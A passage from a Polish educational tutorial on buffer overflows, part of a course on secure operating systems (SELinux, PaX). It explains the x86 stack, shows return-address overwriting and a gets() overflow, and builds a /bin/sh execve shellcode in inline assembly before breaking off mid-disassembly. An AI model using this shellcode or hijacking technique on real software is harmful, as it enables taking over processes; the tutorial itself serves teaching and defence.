Bezpieczne systemy operacyjne - SELinux

Spis treści

I. Przepełnienie bufora

1. Wprowadzenie
1.1 Czym jest przepełnienie bufora
1.2 Założenia
2. Podstawowe informacje
2.1 Organizacja pamięci programu
2.2 Stos
2.3 Mechanizm wywoływania funkcji
2.3.1 Instrukcja CALL
2.3.2 Instrukcja RET
3. Teoria w praktyce
3.1 Prosty program i jego kod
3.1.1 Kompilacja programu
3.1.2 Kompilacja programu do kodu Assemblera
3.1.3 Oglądanie kodu programu przy pomocy gdb
3.2 Analiza wykonania przykładu
4. Modyfikacja przebiegu programu
4.1 Pierwsza wersja programu
4.2 Zmiana przebiegu
5. Przepełnianie bufora
5.1 Przykład
6. Generowanie szkodnika
6.1 Wywołanie powłoki
6.2 Obsługa sytuacji awaryjnych
7. Shellcode w akcji
8. Jak się bronić
9. Bibliografia

II. SELinuks

1. Wprowadzenie
2. Historia SELinuksa
3. Elementy składowe SELinuksa
4. MAC, RBAC i DTAC w SELinuksie
4.1 MAC - Mandatory Access Control
4.2 RBAC - Role Based Access Control
4.3 DTAC - Dynamically Typed Access Control
5. Działanie SELinuksa
6. Kontekst bezpieczeństwa procesu i obiektu
7. Rodzaje reguł w Policy
8. Definicje w SELinux Policy
8.1 Definicje Type Enforcement
8.2 Definicje RBAC
9. Najważniejsze cechy SELinuksa - podsumowanie
9.1 Zalety SELinuksa
9.2 Wady SELinuksa
10. Bibliografia

III. Pax

1. Wprowadzenie
2. Budowa jądra ze wsparciem dla PaX
3. Modyfikacje jądra wprowadzone przez PaX
3.1 Ochrona kodu wykonywalnego
3.1.1 Wprowadzenie
3.1.2 Podział ESP w PaX
3.2 Losowe rozmieszczenie obszarów pamięci (ASLR)
4. PaX a błąd przepełnienia bufora
5. Przed czym PaX nie chroni do końca
6. Kiedy PaX nie jest dobrym pomysłem
7. Bibliografia

Przepełnienie bufora

1. Wprowadzenie

1.1 Czym jest przepełnienie bufora

Przepełnienie bufora jest to popularna nazwa techniki wykorzystywanej do przejęcia kontroli nad wykonującym się w systemie procesem. Technika ta wykorzystuje błąd programisty, który nie sprawdza czy ilość wprowadzonych przez użytkownika danych nie przekracza dopuszczalnego rozmiaru. Brak kontroli pozwala na wprowadzenie większej ilości danych, a informacje wykraczające poza zadeklarowany przez programistę rozmiar, będą umieszczane w pamięci za buforem modyfikując fragmenty pamięci nie związane z samym buforem. W przypadku, gdy użytkownik przekroczy zakres ale nie stara się przejąć kontroli nad systemem, program prawdopodobnie zakończy działanie bądź wykona jakąś nieoczekiwaną instrukcję. Znacznie gorzej jest w sytuacji, gdy użytkownik świadomie wprowadza zbyt wiele znaków, chcąc tym samym przejąć kontrolę nad procesem. W takiej sytuacji może dojść do przejęcia uprawnień wykonującego się procesu co może powodować bardzo duże zagrożenie dla całego systemu.

Przepełnianie bufora jest możliwe w sytuacji, gdy brakuje kontroli nad ilością wprowadzanych danych. Najbardziej zagrożone są programy pisane w językach niskopoziomowych takich jak Assembler lub w językach trochę wyższego poziomu ale mimo wszystko pozwalających na dość swobodne manipulowanie pamięcią (C, C++). Języki wysokopoziomowe takie jak np. Java posiadają wbudowane mechanizmy ochrony przed różnorakimi błędami związanymi z pamięcią. Jednak dostępność tych mechanizmów okupywana jest znaczną stratą wydajności (nie należy także ulegać złudzeniu bycia bezpiecznym, sam język również może mieć jakieś błędy...).

1.2 Założenia

Na potrzeby tego dokumentu przyjęte zostaną następujące założenia:

Niestety w związku z tym, że prezentowana technika tak bardzo zależy od konfiguracji komputera, na którym jest wykorzystywana, przedstawione przykłady mogą nie zadziałać pomimo zgodności konfiguracji komputera testowego z tą przedstawioną powyżej. W związku z tym podaję konfigurację komputera, na której zostały sprawdzone:

Do góry


2. Podstawowe informacje

2.1 Organizacja pamięci programu

Pamięć procesu przedstawia następujący rysunek:

pamięć w linuksie

Poszczególne fragmenty pamięci zawierają:

2.2 Stos

Stos jest to ciągły obszar pamięci implementujący kolejkę FILO (pierwszy wchodzi ostatni wychodzi). Operacje na stosie (push, pop) dostarczane są przez odpowiednie instrukcje procesora (odpowiednio PUSH i POP). Stos jest ściśle związany z mechanizmem wywoływania funkcji i przechowuje tzw. ramki umieszczanych tam w momencie wywołania funkcji i zdejmowanych w chwili powrotu z funkcji. Każda ramka zawiera następujące elementy:

Dodatkowo należy zwrócić uwagę, że na maszynach typu x86 stos rośnie od adresów wysokich ku niższym (najwyższy element na stosie ma najniższy adres).

Przykładowy wierzchołek stosu przedstawia poniższy rysunek:

schemat stosu

Rysunek, oprócz przykładowej ramki, przedstawia także zawartość dwóch rejestrów procesora:

Dostępność rejestru EBP oraz pozycja na stosie jaką wskazuje pozwala na odwoływanie się do argumentów funkcji oraz do jej zmiennych lokalnych poprzez dodanie odpowiedniej wartości do EBP. Przykładowo:

EBP + 4 = adres powrotu
EBP + 8 = pierwszy argument
EBP - 4 = pierwsza zmienna lokalna funkcji

(wartościami dodawanymi są wielokrotności 4 ponieważ każdy element stosu ma długość jednego słowa a te ma 4 bajty (na maszynie x86).

2.3 Mechanizm wywoływania funkcji

Mechanizm umożliwiający wywoływanie funkcji musi zapewnić , że, po zakończeniu wykonywania wywoływanej funkcji, sterowanie wróci do miejsca wywołania. Aby to zapewnić procesory x86 udostępniają instrukcje CALL oraz RET (omówione poniżej). Dodatkowo na stos należy włożyć argumenty funkcji oraz zadbać o zapamiętanie adresu ramki funkcji wywołującej i odpowiednie uaktualnienie wskaźnika aktualnej ramki (rejestr EBP). O te czynności zadbać trzeba samodzielnie (oczywiście jeżeli programujemy w assemblerze, w przypadku języków wyższego poziomu odpowiednie operacje przeprowadza kompilator).

W przypadku języka C wywołanie funkcji odbywa się następująco:

Współczesne kompilatory starają się zoptymalizować (przyspieszyć) kod. Jedną z metod osiągnięcia tego jest powiększenie stosu (w momencie wykonywania kodu funkcji) o znacznie większą ilość komórek niż jest to potrzebne do przechowywania zmiennych lokalnych. Dodatkowa pamięć jest wykorzystywana np. do przyspieszenia funkcji. Na przykład zamiast używać instrukcji PUSH i POP, które wkładają odpowiedni element na stos i uaktualniają rejestr ESP, można "wkładać" elementy w odpowiednie miejsca poniżej wierzchołka stosu (oczywiście dbając o to aby nie uszkodzić znajdujących się tam danych) co można zrealizować przy pomocy jednej instrukcji.

2.3.1 Instrukcja CALL

Instrukcja CALL działa następująco:

mechanizm call

2.3.2 Instrukcja RET

Instrukcja RET działa następująco:

mechanizm ret

Do góry


3. Teoria w praktyce

3.1 Prosty program i jego kod

Aby zrozumieć proces przepełniania bufora trzeba wiedzieć jak uzyskać dostęp do kodu Assemblera do jakiego kompiluje się nasz program oraz umieć z tego kodu wyciągać interesujące nas informacje. Podstawowe informacje na temat tego jak wygląda przedstawiona w rozdziale 2 teoria w praktyce, zdobędziemy poprzez analizę prostego programu:

przyklad1.c:

int funkcja(int a, int b, int c)
{       
        int x;
}       

int main()
{       
        funkcja(1,2,3);
}       

3.1.1 Kompilacja programu

Prezentowane tutaj przykłady warto po prostu skompilować i spróbować uruchomić. W tym celu korzystamy z polecenia:

gcc -o nazwa_pliku -ggdb nazwa_pliku.c

Użycie flagi -ggdb spowoduje dodanie informacji o symbolach przydatnych podczas debugowania programu. Symbole te mogą pomóc w przypadku, gdy program nie zadziała tak jak powinien i chcielibyśmy dowiedzieć się dlaczego.

3.1.2 Kompilacja programu do kodu Assemblera

Aby obejrzeć kod Assemblera do jakiego zostanie skompilowany nasz program, należy podczas kompilacji dodać opcję -S:

gcc -S -o nazwa_pliku.s nazwa_pliku.c

Kod wygenerowany przy pomocy tej komendy z przykładowego programu wygląda następująco:

        .file   "przyklad1.c"
        .text
.globl funkcja
        .type   funkcja, @function
funkcja:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $4, %esp
        leave
        ret
        .size   funkcja, .-funkcja
.globl main
        .type   main, @function
main:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $24, %esp
        andl    $-16, %esp
        movl    $0, %eax
        addl    $15, %eax
        addl    $15, %eax
        shrl    $4, %eax
        sall    $4, %eax
        subl    %eax, %esp
        movl    $3, 8(%esp)
        movl    $2, 4(%esp)
        movl    $1, (%esp)
        call    funkcja
        leave
        ret
        .size   main, .-main
        .section        .note.GNU-stack,"",@progbits
        .ident  "GCC: (GNU) 3.4.5 (Gentoo 3.4.5, ssp-3.4.5-1.0, pie-8.7.9)"

3.1.3 Oglądanie kodu programu przy pomocy gdb

Inną bardzo pożyteczna metodą oglądania kodu Assemblera do jakiego został skompilowany nasz program, jest wykorzystanie gdb. Aby z tej metody skorzystać musimy wykonać następujące kroki:

gcc -o nazwa_pliku -ggdb nazwa_pliku.c
gdb nazwa_pliku

Po wykonaniu powyższych komend, otworzy się konsola programu gdb. Teraz aby obejrzeć kod wybranej funkcji należy wpisać komendę:

disassemble funkcja

Dla naszego przykładowego programu, odpowiedni kod wygląda następująco (mamy dwie funkcje, a więc trzeba wydać odpowiednią komendę dla obu z nich).

(gdb) disassemble main
Dump of assembler code for function main:
0x0804836c <main+0>:    push   %ebp
0x0804836d <main+1>:    mov    %esp,%ebp
0x0804836f <main+3>:    sub    $0x18,%esp
0x08048372 <main+6>:    and    $0xfffffff0,%esp
0x08048375 <main+9>:    mov    $0x0,%eax
0x0804837a <main+14>:   add    $0xf,%eax
0x0804837d <main+17>:   add    $0xf,%eax
0x08048380 <main+20>:   shr    $0x4,%eax
0x08048383 <main+23>:   shl    $0x4,%eax
0x08048386 <main+26>:   sub    %eax,%esp
0x08048388 <main+28>:   movl   $0x3,0x8(%esp)
0x08048390 <main+36>:   movl   $0x2,0x4(%esp)
0x08048398 <main+44>:   movl   $0x1,(%esp)
0x0804839f <main+51>:   call   0x8048364 <funkcja>
0x080483a4 <main+56>:   leave  
0x080483a5 <main+57>:   ret    
0x080483a6 <main+58>:   nop    
0x080483a7 <main+59>:   nop    
0x080483a8 <main+60>:   nop    
0x080483a9 <main+61>:   nop    
0x080483aa <main+62>:   nop    
0x080483ab <main+63>:   nop    
0x080483ac <main+64>:   nop    
0x080483ad <main+65>:   nop    
0x080483ae <main+66>:   nop    
0x080483af <main+67>:   nop    
End of assembler dump.
(gdb) disassemble funkcja
Dump of assembler code for function funkcja:
0x08048364 <funkcja+0>: push   %ebp
0x08048365 <funkcja+1>: mov    %esp,%ebp
0x08048367 <funkcja+3>: sub    $0x4,%esp
0x0804836a <funkcja+6>: leave  
0x0804836b <funkcja+7>: ret    
End of assembler dump.

Warto w tym momencie zauważyć, że kod jaki można obejrzeć dzięki gdb niesie ze sobą znacznie więcej informacji niż ten uzyskiwany dzięki kompilacji z flagą -S. Ta forma prezentacji kodu daje nam bowiem oprócz samych instrukcji, także ich adresy w pamięci oraz offset względem początku funkcji, co jak się później okaże jest nie do przecenienia.

3.2 Analiza wykonania przykładu

Prześledźmy teraz co się dzieje podczas wykonania programu (będzie nam głównie zależało na zrozumieniu jak poszczególne instrukcje wpływają na stos).

Początkowo, przed wywołaniem funkcji, stos wygląda tak:

przykład 1 - stos 1
int main()
{       
przykład 1 - stos 2
0x0804836c <main+0>:    push   %ebp
0x0804836d <main+1>:    mov    %esp,%ebp
0x0804836f <main+3>:    sub    $0x18,%esp
0x08048372 <main+6>:    and    $0xfffffff0,%esp
0x08048375 <main+9>:    mov    $0x0,%eax
0x0804837a <main+14>:   add    $0xf,%eax
0x0804837d <main+17>:   add    $0xf,%eax
0x08048380 <main+20>:   shr    $0x4,%eax
0x08048383 <main+23>:   shl    $0x4,%eax
0x08048386 <main+26>:   sub    %eax,%esp
Wykonanie programu rozpoczyna się od skoku do funkcji main, jest to funkcja taka jak każda inna, w związku z tym należy zadbać o zapamiętanie EBP z poprzedniej funkcji oraz o uaktualnienie EBP aby wskazywał na aktualną ramkę. Instrukcje assemblerowe zaczynające się od main+3 odpowiedzialne są w celu przyspieszenia działania funkcji. Ich działanie nie jest dla nas istotne i to jak wpływają na stos nie będzie zaznaczane.
	funkcja(1,2,3);
przykład 1 - stos 4
0x08048388 <main+28>:   movl   $0x3,0x8(%esp)
0x08048390 <main+36>:   movl   $0x2,0x4(%esp)
0x08048398 <main+44>:   movl   $0x1,(%esp)
0x0804839f <main+51>:   call   0x8048364 <funkcja>
Na stos odkładane są poszczególne argumenty dla funkcji funkcja. Widać tutaj, że w C atrybuty odkładane są w kolejności od ostatniego do pierwszego. Dodatkowo warto zauważyć tutaj, że umieszczanie argumentów na stosie odbywa się nie przy pomocy instrukcji PUSH tylko za pomocą instrukcji MOVL. Takie podejście jest możliwe ponieważ wierzchołek stosu jest na tyle "wysoko" aby postępując w ten sposób nie uszkodzić żadnych istotnych dla programu komórek pamięci. Dodatkowo instrukcja CALL odkłada na stosie adres powrotu oraz powoduje przekazanie sterowania do kodu funkcji funkcja.
int funkcja (int a, int b, int c)
{
przykład 1 - stos 5
0x08048364 <funkcja+0>: push   %ebp
0x08048365 <funkcja+1>: mov    %esp,%ebp
Na wstępie wywoływana funkcja dba o to aby zapamiętać adres ramki funkcji wywołującej i uaktualnia EBP aby wskazywał na aktualną ramkę.
	int x;
przykład 1 - stos 6
0x08048367 <funkcja+3>: sub    $0x4,%esp
Funkcja rezerwuje pamięć na zmienną x. Jest to zmienna typu int a więc ma 4 bajty. Dostęp do tej zmiennej jest możliwy poprzez odwołanie się do rejestru EBP.
&x = EBP + 4
}
przykład 1 - stos 7
0x0804836a <funkcja+6>: leave  
0x0804836b <funkcja+7>: ret    
Wyjście z funkcji funkcja. Instrukcja LEAVE zapewnia, że w momencie wywołania RET na szczycie stosu będzie się znajdował adres pod jaki należy skoczyć. Instrukcja RET zdejmuje ten adres i wykonuje odpowiedni skok.
}
przykład 1 stos 8
0x080483a4 <main+56>:   leave  
0x080483a5 <main+57>:   ret    
Wyjście z funkcji main. Stos jest w takim stanie w jakim był przed wykonaniem funkcji.

Do góry


4. Modyfikacja przebiegu programu

4.1 Pierwsza wersja programu

Teraz, gdy już wiadomo jak wygląda pamięć procesu, zrobimy z tej wiedzy użytek. Rozważmy następujący przykład:

przyklad2.c

void funkcja (int a, int b, int c)
{
	int *wsk;
}

int main ()
{
	int a, b;
	a = 1;
	b = 2;
	funkcja(a,b,3);
	a = 5;
	printf("%d\n", a);
}

Cel do jakiego będziemy dążyć to taka modyfikacja kodu funkcji funkcja aby pominięta została instrukcja a = 5 z funkcji main. Aby do tego dojść, prześledźmy co się dzieje w pamięci procesu w trakcie wykonania programu:

int main ()
{
 int a, b;
 
przykład 2 - stos 1
0x0804839c <main+0>:    push   %ebp
0x0804839d <main+1>:    mov    %esp,%ebp
0x0804839f <main+3>:    sub    $0x18,%esp
0x080483a2 <main+6>:    and    $0xfffffff0,%esp
0x080483a5 <main+9>:    mov    $0x0,%eax
0x080483aa <main+14>:   add    $0xf,%eax
0x080483ad <main+17>:   add    $0xf,%eax
0x080483b0 <main+20>:   shr    $0x4,%eax
0x080483b3 <main+23>:   shl    $0x4,%eax
0x080483b6 <main+26>:   sub    %eax,%esp
Wstępne czynności związane z wywołaniem funkcji main (umieszczenie odpowiednich elementów na stosie, oraz rezerwacja pamięci).

	a = 1;
	b = 2;
przykład 2 - stos 2
0x080483b8 <main+28>:   movl   $0x1,0xfffffffc(%ebp)
0x080483bf <main+35>:   movl   $0x2,0xfffffff8(%ebp)
Przypisanie odpowiednich wartości na zmienne.

	funkcja(a, b, 3)
przykład 2 - stos 3
0x080483c6 <main+42>:   movl   $0x3,0x8(%esp)
0x080483ce <main+50>:   mov    0xfffffff8(%ebp),%eax
0x080483d1 <main+53>:   mov    %eax,0x4(%esp)
0x080483d5 <main+57>:   mov    0xfffffffc(%ebp),%eax
0x080483d8 <main+60>:   mov    %eax,(%esp)
0x080483db <main+63>:   call   0x8048394 <funkcja>
Wywołanie funkcji.

void funkcja (int a, int b, int c)
{
	int *wsk;
przykład 2 - stos 4
0x08048394 <funkcja+0>: push   %ebp
0x08048395 <funkcja+1>: mov    %esp,%ebp
0x08048397 <funkcja+3>: sub    $0x4,%esp
Odłożenie na stos EBP z funkcji main i przesunięcie stosu o jedno długie słowo w dół, tak aby zmieściła się zmienna wsk.

}
przykład 2 - stos 5
0x0804839a <funkcja+6>: leave  
0x0804839b <funkcja+7>: ret    
Wyjście z funkcji. Zabranie ze stosu wszystkich elementów dodanych tam podczas wykonywania funkcji oraz zapisanie w EIP adresu powrotu (skok do main).

	a = 5;
przykład 2 - stos 6
0x080483e0 <main+68>:   movl   $0x5,0xfffffffc(%ebp)
Przypisanie wartości 5 na zmienną a (warto zwrócić uwagę jak wygląda odwołanie do zmiennej w assemblerze).

	printf("%d\n", a);
przykład 2 - stos 7
0x080483e7 <main+75>:   mov    0xfffffffc(%ebp),%eax
0x080483ea <main+78>:   mov    %eax,0x4(%esp)
0x080483ee <main+82>:   movl   $0x80484f8,(%esp)
0x080483f5 <main+89>:   call   0x80482d0 <printf@plt>
Wywołanie funkcji printf (tutaj warto zauważyć że łańcuchy są przechowywane w innym miejscem i odwołanie do nich odbywa się poprzez etykietę tłumaczoną później na odpowiedni adres).

}
 
0x080483fa <main+94>:   leave  
0x080483fb <main+95>:   ret    

4.2 Zmiana przebiegu

Przyjrzyjmy się dokładniej temu co zawiera stos po wejściu do funkcji funkcja:

stos po wejściu do funkcji

Aby zmienić przebieg wykonania programu, trzeba dobrać się do adresu powrotu z funkcji funkcja. Będąc wewnątrz funkcji mamy dostęp do następujących pozycji na stosie:

W związku z tym, aby zmodyfikować adres powrotu wystarczy zmodyfikować wartość znajdującą się pod odpowiednim adresem, np:

&a - 1

Zamiast 4 dodawane jest 1 ponieważ &a jest typu int * a więc standardowo każda dodawana liczba ma 4 bajty.

Skoro wiemy już co modyfikować, trzeba jeszcze dowiedzieć się jaki jest adres instrukcji następującej po a = 5. Spójrzmy na odpowiedni fragment kodu assemblerowego prezentowanego przez gdb dla funkcji main:

(gdb) disassemble main
(...)
0x080483db ;<main+63>:   call   0x8048394 <funkcja>
0x080483e0 ;<main+68>:   movl   $0x5,0xfffffffc(%ebp)
0x080483e7 ;<main+75>:   mov    0xfffffffc(%ebp),%eax
(...)
(gdb)

W powyższym przykładzie adres powrotu standardowo wynosi 0x080483e0, a chcemy go zmienić na 0x080483e7. A więc do adresu powrotu należy dodać 7.

Oto kod po wprowadzeniu modyfikacji:

przyklad3.c

void funkcja (int a, int b, int c)
{
	int *wsk;
	wsk = &a - 1;
	*wsk += 7;	
}

int main ()
{
	int a, b;
	a = 1;
	b = 2;
	funkcja(a,b,3);
	a = 5;
	printf("%d\n", a);
}

Poniżej znajduje się omówienie tego co się dzieje na stosie w tak zmodyfikowanym programie

int main ()
{
	int a;
	a = 1;
przykład 3 - stos 1
	funkcja(1,2,3);
przykład 3 - stos 2
void funkcja (int a, int b, int c)
{
	int *wsk;
	
przykład 3 - stos 3
	wsk = &a - 1;
przykład 3 - stos 4
	*wsk += 7;
przykład 3 - stos 5
	printf("%d\n", a);
}
przykład 3 - stos 6

Do góry


5. Przepełnianie bufora

Wiedza zdobyta do tej pory pozwalała na zmianę przebiegu programu w sytuacji, w której mieliśmy wpływ na kod programu, mogliśmy swobodnie coś dodać, skompilować i sprawdzić. Jak łatwo się domyślić ataki wykorzystujące opisywaną technikę nie polegają na kompilacji programu i podsunięciu tak stworzonego szkodnika jakiemuś użytkownikowi. Technika ta opiera się na możliwości podania programowi odpowiednio spreparowanego łańcucha znaków. W jaki sposób to może zaszkodzić programowi podatnemu na przepełnianie bufora, przekonamy się w tym rozdziale.

5.1 Przykład

Rozważmy następujący program:

przyklad4.c

int main ()
{
	char bufor[16];
	gets(bufor);
}

Powyższy program oczekuje na wprowadzenie łańcucha znaków. Zobaczmy co się stanie, gdy użytkownik wprowadzi znacznie więcej znaków niż przewiduje to rozmiar bufora (np. ponad 30 literek A).

int main ()
{
	char bufor[16];
	gets(bufor);
przykład 4 - stos 1
użytkownik wprowadza AAAAAAAA....
przykład 4 - stos 2
}
przykład 4 - stos 3

Jak widać na powyższym przykładzie konstrukcje nie zapewniające kontroli długości wprowadzanych łańcuchów są bardzo niebezpieczne. W wyniku wprowadzenia takiego wejścia jak w przykładzie, program prawdopodobnie zakończyłby się z błędem. Możliwe jest jednak takie sprepraowanie łańcucha jaki zostanie wprowadzony, aby dokonany skok nie był błędny tylko spowodował wykonanie podanego na wejściu kodu. O tym, jak wygenerować odpowiedni zestaw znaków, mowa jest w następnym rozdziale.


Do góry


6. Generowanie szkodnika

W poprzednim rozdziale widać było w jaki sposób można wykorzystać błąd i nadpisać adres powrotu. Nadal jednak pozostaje zagadką jakie znaki należałoby umieścić w buforze aby zmusić do udostępnienia nam powłoki.

6.1 Wywołanie powłoki

Zacznijmy od zapisania w C programu, który powoduje wywołanie powłoki systemowej:

przyklad5.c

#include <stdio.h>
int main ()
{
	char *nazwa[2];
	nazwa[0] = "/bin/sh";
	nazwa[1] = NULL;
        execvp(nazwa[0], nazwa, NULL);
}

To co jest najistotniejsze w tym programie to wykonanie instrukcji execvp. Przyjrzyjmy się więc co się w niej dzieje.

0x0804e200 <execve+0>:  push   %ebp
0x0804e201 <execve+1>:  mov    $0x0,%eax
0x0804e206 <execve+6>:  test   %eax,%eax
0x0804e208 <execve+8>:  mov    %esp,%ebp
Inicjacja
0x0804e20a <execve+10>: push   %ebx
zapamiętanie poprzedniej wartosci ebx
0x0804e20b <execve+11>: mov    0x8(%ebp),%ebx
adres "/bin/sh" na ebx
0x0804e20e <execve+14>: je     0x804e215 <execve+21>
0x0804e210 <execve+16>: call   0x0
asercja
0x0804e215 <execve+21>: mov    0xc(%ebp),%ecx
0x0804e218 <execve+24>: mov    0x10(%ebp),%edx
adres "nazwa" na ecx, NULL na edx
0x0804e21b <execve+27>: mov    $0xb,%eax
11 na eax (numer execvp z /usr/include/asm/unistd.h)
0x0804e220 <execve+32>: int    $0x80
Wywołanie funkcji systemowej o numerze zapisanym w eax (11).
0x0804e222 <execve+34>: cmp    $0xfffff000,%eax
0x0804e227 <execve+39>: mov    %eax,%ebx
0x0804e229 <execve+41>: ja     0x804e230 <execve+48>
0x0804e22b <execve+43>: mov    %ebx,%eax
0x0804e22d <execve+45>: pop    %ebx
0x0804e22e <execve+46>: leave  
0x0804e22f <execve+47>: ret    
0x0804e230 <execve+48>: neg    %ebx
0x0804e232 <execve+50>: call   0x8048940 <__errno_location>
0x0804e237 <execve+55>: mov    %ebx,(%eax)
0x0804e239 <execve+57>: mov    $0xffffffff,%ebx
0x0804e23e <execve+62>: mov    %ebx,%eax
0x0804e240 <execve+64>: pop    %ebx
0x0804e241 <execve+65>: leave  
0x0804e242 <execve+66>: ret    
Nie istotne z naszego punktu widzenia

A więc aby wykonać funkcję execve należy:

6.2 Obsługa sytuacji awaryjnych

Wiemy już jak nakazać wykonanie "/bin/sh", ale co się stanie, jeżeli execve nie wykona się prawidłowo? Program zacznie wykonywać instrukcje na podstawie wartości znajdujących się na stosie, który może zawierać bardzo różne dane. W związku z tym należy zadbać aby, w przypadku powrotu z funkcji execvp, program prawidłowo zakończył swoje działanie. Aby zobaczyć jakich instrukcji potrzebujemy, prześledźmy poniższy program:

przyklad6.c

#include <stdio.h>
int main()
{
	exit(0);
}

Zobaczmy jak zachowuje się funkcja exit:

0x0804e1cc <_exit+0>:   mov    0x4(%esp),%ebx
zapisanie wartości 0x4(%esp) - wartość będącą na wierzchołku stosu (wartość jaką exit ma zwrócić).
0x0804e1d0 <_exit+4>:   mov    $0xfc,%eax
0x0804e1d5 <_exit+9>:   int    $0x80
0xfc jest numerem funkcji powodującej wyjście z grupy procesów
0x0804e1d7 <_exit+11>:  mov    $0x1,%eax
0x0804e1dc <_exit+16>:  int    $0x80
1 - numer funkcji systemowej exit.
0x0804e1de <_exit+18>:  hlt    
0x0804e1df <_exit+19>:  nop    
zakończenie programu

Złóżmy to wszystko razem i zobaczmy co musimy teraz wykonać:

Skoro wiadomo już co należy zrobić, zapiszmy to:

        movl   string_addr,string_addr_addr
	movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
	int    $0x80
        /bin/sh string idzie tutaj.

Pojawia się niestety problem. Polega on na tym, że instrukcje mov, lea operują na adresach bezwzględnych a więc musielibyśmy znać dokładny adres łańcucha "/bin/sh". Jedną z metod na obejście tego problemu jest wykorzystanie instrukcji skoku oraz wywołania (JMP i CALL), które operują na adresach względnych. Aby uzyskać adres naszego kodu dodajemy przed łańcuchem /bin/sh instrukcję CALL a na początku kodu instrukcję JMP do tej instrukcji CALL.

        jmp    offset-to-call           
        popl   %esi                     
        movl   %esi,array-offset(%esi)  
        movb   $0x0,nullbyteoffset(%esi)
        movl   $0x0,null-offset(%esi)   
        movl   $0xb,%eax                
        movl   %esi,%ebx                
        leal   array-offset,(%esi),%ecx 
        leal   null-offset(%esi),%edx   
        int    $0x80                    
        movl   $0x1, %eax		
        movl   $0x0, %ebx		
	int    $0x80			
        call   offset-to-popl          
        /bin/sh string idzie tutaj.

Należy tylko wyliczyć offset o jaki należy skoczyć instrukcją jmp oraz offset o jaki należy wrócić instrukcją call. Aby to zrobić, skompilujmy następujący program:

przyklad7.c

int main()
{
__asm__("\n\t"
        "jmp    0x0                     \n\t"
        "popl   %esi                     \n\t"
        "movl   %esi,0x8(%esi)           \n\t"
        "movb   $0x0,0x7(%esi)           \n\t"
        "movl   $0x0,0xc(%esi)           \n\t"
        "movl   $0xb,%eax                \n\t"
        "movl   %esi,%ebx                \n\t"
        "leal   0x8(%esi),%ecx           \n\t"
        "leal   0xc(%esi),%edx           \n\t"
        "int    $0x80                    \n\t"
        "movl   $0x1, %eax               \n\t"
        "movl   $0x0, %ebx               \n\t"
        "int    $0x80                    \n\t"
        "call   -0x0                    \n\t"
        ".string \"/bin/sh\"             \n"
);
}

Przyjrzyjmy się, jak wygląda kod powyższego programu:

(gdb) disassemble main 
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x8048381 <main+29>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   movb   $0x0,0x7(%esi)
0x0804838d <main+41>:   movl   $0x0,0xc(%esi)
0x08048394 <main+48>:   mov    $0xb,%eax
0x08048399 <main+53>:   mov    %esi,%ebx
0x0804839b <main+55>:   lea    0x8(%esi),%ecx
0x0804839e <main+58>:   lea    0xc(%esi),%edx
0x080483a1 <main+61>:   int    $0x80
0x080483a3 <main+63>:   mov    $0x1,%eax
0x080483a8 <main+68>:   mov    $0x0,%ebx
0x080483ad <main+73>:   int    $0x80
0x080483af <main+75>:   call   0x80483b0 <main+76>
0x080483b4 <main+80>:   das    
0x080483b5 <main+81>:   bound  %ebp,0x6e(%ecx)
0x080483b8 <main+84>:   das    
0x080483b9 <main+85>:   jae    0x8048423 <__libc_csu_fini+19>
0x080483bb <main+87>:   add    %cl,%cl
0x080483bd <main+89>:   ret    
0x080483be <main+90>:   nop    
0x080483bf <main+91>:   nop    
End of assembler dump.
(gdb) 

Aby wyliczyć offset jaki należy wpisać w instrukcji jmp należy wykonać proste działanie

(main+75) - (main+29) = 46	= 0x2e	

- main+29 ponieważ bajt main+28 jest zajęty przez kod instrukcji jmp
Analogicznie dla instrukcji CALL:

(main + 33)  - (main + 76) = -43 = -0x2b

Ostatecznie, nasz szkodnik wygląda następująco:

przyklad8.c


int main()
{
__asm__("\n\t"
        "jmp    0x2e \n\t"
        "popl   %esi \n\t"
        "movl   %esi,0x8(%esi) \n\t"
        "movb   $0x0,0x7(%esi) \n\t"
        "movl   $0x0,0xc(%esi) \n\t"
        "movl   $0xb,%eax \n\t" 
        "movl   %esi,%ebx \n\t" 
        "leal   0x8(%esi),%ecx \n\t" 
        "leal   0xc(%esi),%edx \n\t"
        "int    $0x80 \n\t"
        "movl   $0x1, %eax \n\t" 
        "movl   $0x0, %ebx \n\t" 
        "int    $0x80 \n\t" 
        "call   -0x2b \n\t" 
        ".string \"/bin/sh\""
);
}

Po kompilacji i próbie uruchomienia powinniśmy dostać... błąd Segmentation Fault. Wynika to z tego, że próbujemy modyfikować własny kod, który leży w fragmencie pamięci tylko do odczytu. Mimo tego program ten przyda nam się aby uzyskać szesnastkową reprezentację tego kodu (aby można ją było zapisać w łańcuchu). W tym celu wykorzystamy gdb:

(gdb) disassemble main
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x80483ab <main+71>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   movb   $0x0,0x7(%esi)
0x0804838d <main+41>:   movl   $0x0,0xc(%esi)
0x08048394 <main+48>:   mov    $0xb,%eax
0x08048399 <main+53>:   mov    %esi,%ebx
